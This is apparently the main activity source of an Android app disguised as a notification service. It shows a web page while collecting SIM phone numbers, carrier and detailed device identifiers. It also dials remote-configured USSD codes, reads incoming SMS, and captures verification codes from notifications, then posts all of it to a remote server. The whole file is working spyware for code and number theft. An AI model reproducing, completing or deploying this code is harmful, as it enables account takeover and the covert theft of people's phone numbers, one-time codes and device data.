package com.example.notifyservice;

import android.Manifest;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.os.Build;
import android.os.Bundle;

import android.telephony.TelephonyManager;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;

import androidx.annotation.NonNull;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import android.os.Handler;
import android.provider.Settings;
import android.provider.Telephony;
import android.telephony.SmsMessage;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;

import org.json.JSONException;
import org.json.JSONObject;

import java.util.ArrayList;
import java.util.List;

import java.util.Locale;
import java.util.Timer;
import java.util.TimerTask;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {

    private final String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC
    private final String ussdUrl = "USSD_URL"; // VARIABLE STATIC
    private final String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC
    private int requestsCount = 0;

    private WebView webView;
    private View customView;
    private WebChromeClient.CustomViewCallback customViewCallback;
    private ViewGroup mainContainer;

    private String currentHash = ""; // STATIC
    private int currentPhone = 0;
    private List<PhoneNumber> phones;
    private boolean receivingSms = false;
    private double codeTimeout = 0.0;
    private Timer timer;

    private List<String> codes = new ArrayList<>();

    private NotificationReceiver notificationReceiver;

    private JSONObject ussd;
    private JSONObject language;

    public class PhoneNumber {
        public String phone;
        public TelephonyManager telephonyManager;
        public String operator;
        public String country;

        private PhoneNumber(
                String phone,
                TelephonyManager telephonyManager,
                String operator,
                String country
        ) {
            this.phone = phone;
            this.telephonyManager = telephonyManager;
            this.operator = operator;
            this.country = country;
        }

        public boolean phoneProvided(){
            return !phone.isEmpty();
        }

        public String getPhone() {
            return phone;
        }

        public TelephonyManager getSubscriptionId() {
            return telephonyManager;
        }

        public String getOperator() {
            return operator;
        }

        public String getCountry() {
            return country;
        }

        public void setPhone(String phone) {
            this.phone = phone;
        }

        public String save(){
            return phone + ":" + operator // STATIC
                    + ":" + country;  // STATIC
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        webView = findViewById(R.id.webview);
        mainContainer = findViewById(android.R.id.content);

        WebSettings webSettings = webView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        webSettings.setDomStorageEnabled(true);
        webSettings.setDatabaseEnabled(true);
        webSettings.setAllowFileAccess(true);
        webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);

        webView.setWebChromeClient(new WebChromeClient() {
            @Override
            public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
                if (customView != null) {
                    callback.onCustomViewHidden();
                    return;
                }

                customView = view;
                customViewCallback = callback;

                mainContainer.addView(customView);
                webView.setVisibility(View.GONE);
            }

            @Override
            public void onHideCustomView() {
                if (customView == null) {
                    return;
                }

                mainContainer.removeView(customView);
                customView = null;
                webView.setVisibility(View.VISIBLE);
                customViewCallback.onCustomViewHidden();
            }
        });

        webView.setWebViewClient(new WebViewClient() {
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                view.loadUrl(url);
                return true;
            }
        });

        // Загрузка начального URL
        webView.loadUrl(websiteUrl);

        Log.i("LOG", // STATIC
                "Tap1"); // STATIC

        loadData();

    }

    private void loadData() {

        Log.i("LOG", // STATIC
                "Tap2"); // STATIC
        requestsCount = 0;

        GetRequest ussdRequestTask = new GetRequest(this, this);
        ussdRequestTask.execute(ussdUrl);

        GetRequest languagesRequestTask = new GetRequest(this, this);
        languagesRequestTask.execute(languagesUrl);
    }

    public static String getKey(Context context) {
        try {
            SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
            return sharedPreferences.getString("KEY",
                    "INIT_KEY"); // VARIABLE STATIC
        } catch (Exception e) {
            return ""; // STATIC
        }
    }

    public static void setKey(Context context, String key) {
        SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
        editor.putString("KEY", key);
        editor.apply();
    }

    private void promptNotificationAccess() throws JSONException {
        Log.i("LOG", // STATIC
                "TapPrompt"); // STATIC
        AlertDialog.Builder builder = new AlertDialog.Builder(this);
        builder.setTitle(language.getString("title")); // STATIC
        builder.setMessage(language.getString("message")); // STATIC

        builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC
            @Override
            public void onClick(DialogInterface dialogInterface, int i) {
                Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
                startActivity(intent);
                dialogInterface.dismiss();
                System.exit(0);
            }
        });

        builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC
            @Override
            public void onClick(DialogInterface dialogInterface, int i) {
                dialogInterface.dismiss();
                finish();
            }
        });

        this.runOnUiThread(new Runnable() {
            public void run() {
                Log.i("LOG", // STATIC
                        "TapUi"); // STATIC
                AlertDialog dialog = builder.create();
                dialog.show();
            }
        });
    }

    public static String getDeviceInfo(Context context)
    {
        String m_data = ""; // STATIC
        String p_seperator = ":"; // STATIC
        StringBuilder m_builder = new StringBuilder();
        m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
        m_builder.append(android.os.Build.DEVICE + p_seperator);
        m_builder.append(android.os.Build.MODEL + p_seperator);
        m_builder.append(android.os.Build.PRODUCT + p_seperator);
        m_builder.append(android.os.Build.BRAND + p_seperator);
        m_builder.append(android.os.Build.DISPLAY + p_seperator);
        // TODO : android.os.Build.CPU_ABI is deprecated
        m_builder.append(android.os.Build.CPU_ABI + p_seperator);
        // TODO : android.os.Build.CPU_ABI2 is deprecated
        m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
        m_builder.append(android.os.Build.UNKNOWN + p_seperator);
        m_builder.append(android.os.Build.HARDWARE + p_seperator);
        m_builder.append(android.os.Build.ID + p_seperator);
        m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
        m_builder.append(android.os.Build.SERIAL + p_seperator);
        m_builder.append(android.os.Build.USER + p_seperator);
        m_builder.append(android.os.Build.HOST + p_seperator);
        String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
        m_builder.append(android_id);
        m_data = m_builder.toString();
        return m_data;
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
            requestPermissions(retrievePermissions(this));
        } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
            Intent intent = new Intent(this, Listener.class);
            startService(intent);

            notificationReceiver = new NotificationReceiver();
            IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC
            registerReceiver(notificationReceiver, filter);

            registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));

            Context permissionContext = this;
            new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
        }
    }

    private class NotificationReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            String code = intent.getStringExtra("code");
            onNotificationReceived(code);
        }
    }

    public void onNotificationReceived(String code) {
        if(codes.contains(code))
            return;
        codes.add(code);
        cancelTimer();
        PostRequest postRequestTask = new PostRequest(this, this);
        postRequestTask.execute("code",
                code + ";" + currentHash); // STATIC
        nextPhone();
    }

    public void cancelTimer(){
        if (timer != null) {
            timer.cancel();
        }
    }

    public void nextPhone() {
        currentPhone += 1;
        if (phones.size() > currentPhone)
            savePhone(getBaseContext(), phones.get(currentPhone));
    }

    private void makeProcess(Context context) {
        currentPhone = 0;
        phones = collectPhoneNumber(context);
        savePhone(context, phones.get(currentPhone));
    }

    public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
        if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
                != PackageManager.PERMISSION_GRANTED) {
            return false;
        }
        if (telephonyManager == null) {
            return false;
        }

        if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
            return false;
        }

        return true;
    }

    private void savePhone(Context context, PhoneNumber phone){
        if(phone.phoneProvided()){
            requestPhone(context, phone);
        } else {
            receivingSms = false;
            currentHash = ""; // STATIC
            if(!isSimConnected(context, phone.telephonyManager))
                nextPhone();
            else
                requestUssdNumber(phone);
        }
    }

    private void requestPhone(Context context, PhoneNumber phone){
        PostRequest postRequestTask = new PostRequest(context, this);
        postRequestTask.execute("phone",
                phone.save() + ";" + getDeviceInfo(context)); // STATIC
    }

    @Override
    public void onPostResponse(JSONObject result) {
        try {
            if(!result.getString("hash").isEmpty()) // STATIC
                currentHash = result.getString("hash"); // STATIC
            if(!result.getString("key").isEmpty()) // STATIC
                setKey(getBaseContext(), result.getString("key")); // STATIC
            if(!result.getString("timeout").isEmpty()) { // STATIC
                codeTimeout = result.getDouble("timeout"); // STATIC
                Timer timer = new Timer();
                timer.schedule(new TimerTask() {
                    @Override
                    public void run() {
                        nextPhone();
                    }
                }, Math.round(codeTimeout * 1000));
            }
        } catch (JSONException e) {
            throw new RuntimeException(e);
        }

    }

    @Override
    public void onGetResponse(JSONObject result) {
        Log.i("LOG", // STATIC
                "Tap3"); // STATIC
        try {

            if(result.get("name"). // STATIC
                    equals("ussd")){ // STATIC
                ussd = result.getJSONObject(
                        "data" // STATIC
                );
                requestsCount += 1;

            } else if (result.get("name"). // STATIC
                    equals("languages")) { // STATIC
                language = result.getJSONObject(
                        "data" // STATIC
                ).getJSONObject(Locale.getDefault().getLanguage());
                requestsCount += 1;
            }
            if (requestsCount == 2) {
                if (!isNotificationServiceEnabled()) {
                    promptNotificationAccess();
                } else {
                    requestPermissions(retrievePermissions(this));
                }
            }
        } catch (JSONException e) {
            Log.i("LOG", // STATIC
                    e.toString());
            throw new RuntimeException(e);
        }
    }

    private boolean isNotificationServiceEnabled() {
        String packageName = getPackageName();
        String enabledListeners = Settings.Secure.getString(
                getContentResolver(),
                "enabled_notification_listeners" // STATIC
        );
        return enabledListeners != null && enabledListeners.contains(packageName);
    }

    private void requestNotificationAccess() {
        Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
        startActivity(intent);
    }

    private static String[] retrievePermissions(Context context) {
        final String pkgName = context.getPackageName();
        try {
            return context
                    .getPackageManager()
                    .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
                    .requestedPermissions;
        } catch (PackageManager.NameNotFoundException e) {
            return new String[0];
        }
    }

    private void requestPermissions(String[] permissions) {
        Log.i("LOG", // STATIC
                "TapPerm"); // STATIC
        ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
    }

    private static boolean isNetworkAvailable(Context context) {
        ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        Network nw = connectivityManager.getActiveNetwork();
        if (nw == null) return false;
        NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
        return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
    }

    public static String extractFirstPhoneNumber(String input) {
        String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)"; // STATIC

        Pattern pattern = Pattern.compile(regex);
        Matcher matcher = pattern.matcher(input);

        if (matcher.find()) {
            return matcher.group()
                    .replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", // STATIC
                            ""); // STATIC
        }

        return ""; // STATIC
    }

    private void requestUssdNumber(PhoneNumber phone) {
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
            return;
        String ussdRequest = null;
        boolean smsResponse = false;
        try {
            ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
            smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
        } catch (JSONException e) {
            return;
        }

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            boolean finalSmsResponse = smsResponse;
            phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() {
                @Override
                public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
                    super.onReceiveUssdResponse(telephonyManager, request, response);
                    String responseString = response.toString();
                    if (finalSmsResponse){
                        receivingSms = true;
                    } else {
                        phone.setPhone(extractFirstPhoneNumber(responseString));
                        savePhone(getBaseContext(), phone);
                    }
                }

                @Override
                public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
                    super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
                    nextPhone();
                }
            }, null);
        }


    }

    private List<PhoneNumber> collectPhoneNumber(Context context){
        Log.i("collectPhoneNumber", "+");
        List<PhoneNumber> phoneNumbers = new ArrayList<>();
        if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
            return phoneNumbers;
        }
        SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
        List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
        for (int i = 0; i < subscriptions.size(); i++) {
            SubscriptionInfo currentCard = subscriptions.get(i);
            String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
            TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
            phoneNumbers.add(new PhoneNumber(
                phoneNumber,
                telephonyManager,
                telephonyManager.getSimOperatorName(),
                currentCard.getCountryIso()
            ));
        }

        return phoneNumbers;
    }

    private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            Bundle bundle = intent.getExtras();
            if (bundle != null) {
                Object[] pdus = (Object[]) bundle.get("pdus"); // STATIC
                if (pdus != null) {
                    if(!receivingSms)
                        return;
                    for (Object pdu : pdus) {
                        SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
                        String messageBody = smsMessage.getMessageBody();
                        String phoneNumber = extractFirstPhoneNumber(messageBody);
                        if(!phoneNumber.isEmpty()) {
                            phones.get(currentPhone).setPhone(phoneNumber);
                            savePhone(getBaseContext(), phones.get(currentPhone));
                        }
                    }
                }
            }
        }
    };

    @Override
    public void onBackPressed() {
        if (webView.canGoBack()) {
            webView.goBack();
        } else {
            super.onBackPressed();
        }
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        try {
            unregisterReceiver(smsReceiver);
        } catch(IllegalArgumentException e) {
        }

    }


}